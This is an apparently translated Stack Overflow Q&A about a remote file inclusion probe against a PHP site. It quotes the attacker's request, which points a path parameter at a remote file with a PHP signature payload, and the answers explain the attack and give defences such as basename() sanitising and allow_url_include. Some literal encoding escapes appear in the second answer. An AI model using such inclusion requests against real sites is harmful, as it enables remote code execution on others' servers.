这个黑客想要利用什么错误?

dyn*_*mic 13 php

一个名叫ShiroHige的人试图攻击我的网站.

他试图用这个参数打开一个页面:

mysite/dir/nalog.php?path=http://smash2.fileave.com/zfxid1.txt???
Run Code Online (Sandbox Code Playgroud)

如果你查看那个文本文件,它只是一个die(),

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>
Run Code Online (Sandbox Code Playgroud)

那么他试图使用什么漏洞(WordPress?)?

编辑1:

我知道他正在尝试使用RFI.

是否有一些可利用的流行脚本(Drupal,phpBB等)?

You*_*nse 11

一个明显的,只是未经证实的包括.
他正在检查代码是否被执行.
如果他在回复中找到了他的签名,他就会知道你的网站已准备好运行他发送的任何代码.

为防止此类攻击,如果恰好通过HTTP请求发送文件名,则必须严格清理文件名.

可以使用以下basename()功能进行快速而便宜的验证:

if (empty($_GET['page'])) 
    $_GET['page']="index.php";
$page = $modules_dir.basename($_GET['page']).".php";
if (!is_readable($page)) {
    header("HTTP/1.0 404 Not Found");
    $page="404.html";
}
include $page;
Run Code Online (Sandbox Code Playgroud)

或使用一些正则表达式.

还有一个非常有用的PHP配置指令叫做

allow_url_include
Run Code Online (Sandbox Code Playgroud)

off在现代PHP版本中默认设置为.因此它可以自动保护您免受此类攻击.


Gum*_*mbo 4

攻击者瞄准的漏洞可能是某种远程文件包含,利用 PHP\xe2\x80\x99sinclude和类似的函数/结构,允许加载(远程)文件并执行其内容:

\n\n
\n

安全警告

\n\n

远程文件可以在远程服务器上处理(取决于文件扩展名以及远程服务器是否运行 PHP 的事实),但它仍然必须生成有效的 PHP 脚本,因为它将在本地服务器上处理。如果来自远程服务器的文件应该在那里处理并仅输出,readfile()那么使用的功能要好得多。否则,应特别注意确保远程脚本的安全,以生成有效且所需的代码。

\n
\n\n

请注意,使用readfile只会避免执行加载的文件。但仍然可以利用它来加载其他内容,然后直接打印给用户。这可用于打印本地文件系统中任何类型的文件的纯内容(即路径遍历)或将代码注入到页面中(即代码注入)。因此,唯一的保护措施是在使用参数值之前对其进行验证。

\n\n

另请参阅有关 \xe2\x80\x9c 文件系统 \xe2\x80\x93 包含和远程文件\xe2\x80\x9d 的OWASP\ xe2\x80\x99s开发指南,了解更多信息。

\n